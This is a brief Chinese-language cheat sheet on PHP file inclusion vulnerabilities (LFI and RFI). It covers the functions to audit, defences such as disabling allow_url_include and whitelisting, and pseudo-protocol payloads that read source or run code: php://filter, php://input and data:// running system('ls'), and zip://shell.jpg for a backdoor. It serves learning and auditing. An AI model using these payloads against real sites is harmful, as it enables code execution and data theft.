原理
用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行
触发点/检测
文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数
include()
require()
include_once()
require_once()
f_open()
f_read()
利用方式
文件包含漏洞可分为 本地文件包含(LFI) 和 远程文件包含 两种
本地文件包含可以遍历目录,造成信息泄露
远程文件包含可以执行任意命令,获取WebShell,需要PHP开启url包含功能( allow_url_include ),PHP5.2以前默认是开启 , 5.2以后就默认关闭了
防御
针对远程文件包含可关闭url包含功能( php.ini文件中 allow_url_include=off )
针对本地文件包含可以设置白名单,过滤危险字符(比如.和/)
伪协议
文件包含漏洞可以配合伪协议使用
php协议读取文件源码或者任意代码执行
data协议任意代码执行
zip协议配合文件上传开启后门
php://filter 读取文件源码
?url=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input 任意代码执行
1. ?url=php://input -- GET请求参数中使用php://input协议 2. <?php system('ls'); ?> -- post请求体中的内容会被当做文件内容执行
data://text/plain 任意代码执行
?url=data://text/plain,<?php system('ls') ?>
zip:// 配合文件上传开启后门
?url=zip://shell.jpg